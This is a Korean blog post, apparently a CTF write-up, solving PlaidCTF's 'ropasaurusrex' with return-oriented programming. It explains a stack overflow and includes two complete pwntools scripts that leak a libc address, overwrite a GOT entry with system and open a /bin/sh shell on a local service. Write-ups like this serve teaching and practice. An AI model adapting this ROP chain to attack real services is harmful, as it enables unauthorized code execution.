ipwn
[PlaidCTF] ropasaurusrex 본문
이번에 풀 문제는 rop입문으로 유명한 PlaidCTF의 ropasaurusrex이다.
이 문제는 말그대로 rop로 해결하는 문제이다.
일단 어떤 행동을 하는 binary인지 확인해보자.
1 2 3 | pwndbg@ubuntu:~/tmp$ ./ropasaurusrex asdfghjkl WIN |
실행하니 갑자기 내가 이겼다고 한다.
음 감이 안온다. 한 번 ida로 까보자.
알고보니 어떤 함수를 실행시키고 그냥 win을 출력해주는 코드였다.
그럼 저 함수에 취약점이 있을 것이다.
한 번 저 함수를 살펴보도록 하겠다.
보아하니 buf공간이 0x88의 크기만큼 할당이 되어있는데, 0x100만큼의 입력을 받는다.
여기서 Buffer Overflow가 발생한다는 것을 알 수 있다.
그렇다면 공간은 | buffer(136) | sfp(4) | ret(4) | 이 될 것이다.
즉 140byte를 dummy값으로 덮어주고 ret을 조작해서 system함수를 호출해서 "/bin/sh"를 넘겨주어
shell을 띄우거나, shellcode를 실행시키면 될 것이다.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
정말 그럴까?
한번 checksec를 사용해서 ropasaurusrex에 어떠한 메모리 보호기법이 걸려있는지 확인해보자.
일단 가장먼저 실 서버에는 ASLR이 걸려있을 것이다.
그리고 checksec로 확인을 해보니 NX가 걸려있다.
또 실제로 바이너리에서 사용된 함수는 read와 write가 전부이다.
그럼 도대체 어떻게 shell을 띄울 수 있다는 말일까?
여기서 우리가 사용할 기법인 ROP가 나온다.
ROP는 Return Oriented Programming의 약자로서 그냥 가젯을 갖고 논다고 생각하면 된다.
간단하게 RTL Chaining기법과 RTL을 미리 알고 오면 편하겠다. (나중에 기법들도 따로따로 블로그에 포스팅 해야겠다...)
일단 그렇다면 우리가 사용할 수 있는 함수에는 read함수와 write함수가 있겠지만 system함수도 사용할 수는 있을 것이다.
libc 어딘가에 system 함수는 분명 존재를 할 것이기 때문에 대충 어딘가에 위치하는지만 알면 사용이 가능할 것이다.
그럼 일단 가장먼저 우리가 구해야 하는 값은 read의 plt, read의 got, write의 plt가 될 것이다.
그리고 "/bin/sh"를 저장할 공간, read함수와 system함수간의 offset도 필요할 것이다.
또 함수를 계속 호출하기 위해 pop pop pop ret gadget도 필요할 것이다. read함수와 write함수는
둘다 인자가 3개이므로 pop pop pop ret gadget만 구해놓으면 된다.
가장먼저 read, write의 plt와 got를 구해보자.
read와 write의 plt는 각각 0x804832c, 0x804830c이다.
그리고 read와 write의 got는 각각 0x804961c, 0x8049614인 것을 알 수 있다.
이제 read함수와 system 함수간의 offset을 구해보도록 하겠다.
두 함수간의 offset은 0x9ad60인 것을 알 수 있다.
이제 우리에게 필요한 것은 "/bin/sh"를 적어줄 적당한 공간, 그리고 pop pop pop ret gadget이다.
먼저 "/bin/sh"를 적어줄 공간을 찾아보자.
objdump -x ropasaurusrex 명령어를 사용해 한번 찾아보겠다.
보아하니 bss는 8byte의 공간밖에 없다.
"/bin/sh"를 적기에는 애매한 공간이다.
하지만 맨 위를 보면 dynamic공간이라는 "/bin/sh"를 적기 적당한 공간이 있다.
dynamic공간에는 우리가 어떤 값을 덮어씌워도 프로그램 진행에 큰 문제가 되지는 않을 것이다.
dynamic 공간의 주소는 0x8049530이다.
이제 pop pop pop ret gadget의 주소만 찾으면 될 것이다.
objdump -D ropasaurusrex | grep ret -B3을 입력해주어 gadget을 찾아보겠다.
성공적으로 pop pop pop ret gadget의 주소를 찾았다.
pop pop pop ret gadget의 주소는 0x80484b6이다.
그럼 이제 우리에게 필요한 값을 전부 찾았다.
한 번 정리해보자.
1. read_plt = 0x804832c
2. write_plt = 0x804830c
3. read_got = 0x804961c
4. dynamic = 0x8049530
5. pppr_gadget = 0x80484b6
6. offset = 0x9ad60
전부 제대로 다 구한 것 같다.
이제 한 번 python으로 exploit 해보겠다.
성공적으로 exploit 했다.
한 번 exploit script가 어떻게 작성 돼 있는지 분석해보자.
1 2 3 4 5 6 7 8 9 10 11 12 13 | from pwn import * p = remote( 'localhost', 9001) #need info read_plt = 0x804832c write_plt = 0x804830c read_got = 0x804961c offset = 0x9ad60 pppr = 0x80484b6 dynamic = 0x8049530 cmd = "/bin/sh" |
가장 먼저 remote를 통해 nc에 접속해준 뒤 필요한 값들을 변수에 저장해준다.
14 15 16 17 18 19 20 21 22 | pay = "" pay += "A"*140 #input "/bin/sh" pay += p32(read_plt) pay += p32(pppr) pay += p32(0) pay += p32(dynamic) pay += p32(len(cmd)+2) | cs |
그 뒤에는 ret을 read_plt로 덮어준 뒤 pppr 가젯을 통해 인자를 정리하고,
dynamic에 len("/bin/sh") + 2 즉 9칸을 입력받을 수 있도록 해준다.
9만큼 입력받은 이유는 공간이 넓고해서 그냥 안정적으로 하고싶었다.
23 24 25 26 27 28 | #output REAL read addr pay += p32(write_plt) pay += p32(pppr) pay += p32(1) pay += p32(read_got) pay += p32(4) |
이 부분에서도 pppr을 통해 인자를 정리한다.
그 뒤 read_got의 값 즉 read의 실 주소를 leak한다.
29 30 31 32 33 34 | #input2 READ read - offset pay += p32(read_plt) pay += p32(pppr) pay += p32(1) pay += p32(read_got) pay += p32(4) |
이 부분에서도 인자를 정리해주고 read_got부분을
이전에 leak한 read실주소 - offset을 통해 system함수로 바꿔줄 것이다.
read실주소 - offset를 해준다면, 오차가 없게 될 것이다.
35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 | #get shell pay += p32(read_plt) pay += "AAAA" pay += p32(dynamic) p.sendline(pay) p.sendline(cmd) read = p.recv(4) system = u32(read) - offset p.sendline(p32(system)) p.interactive() |
이 부분에서는 성공적으로 값을 넘겨서 shell을 실행시킨다.
그리고 read의 실 주소를 recv로 받아오는 부분, send로 payload와 "/bin/sh", system의 주소를 넘겨주는 부분이 있다.
그리고 interactive를 통해 shell을 유지시킨다.
이로써 shell을 성공적으로 따낼 수 있었다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | from pwn import * from time import * p = remote( 'localhost', 9001 ) e = ELF("./tmp/ropasaurusrex") rop = ROP(e) offset = 0x9ad60 dynamic = 0x8049530 read_plt, write_plt = e.plt['read'], e.plt['write'] read_got = e.got['read'] cmd = "/bin/sh" rop.read(0, dynamic, len(cmd)+2) rop.write(1, read_got, 4) rop.read(0, read_got, 4) rop.read(dynamic) p.sendline("A"*140 + rop.chain()) p.sendline("/bin/sh") read = p.recv(4) system = u32(read) - offset print "system addr : " + str(hex(system)) p.sendline(p32(system)) p.interactive() |
이 script는 pwntool의 rop기능을 사용해 단축한 script이다.
rop기능은 정말 너무 사기적인 것 같다.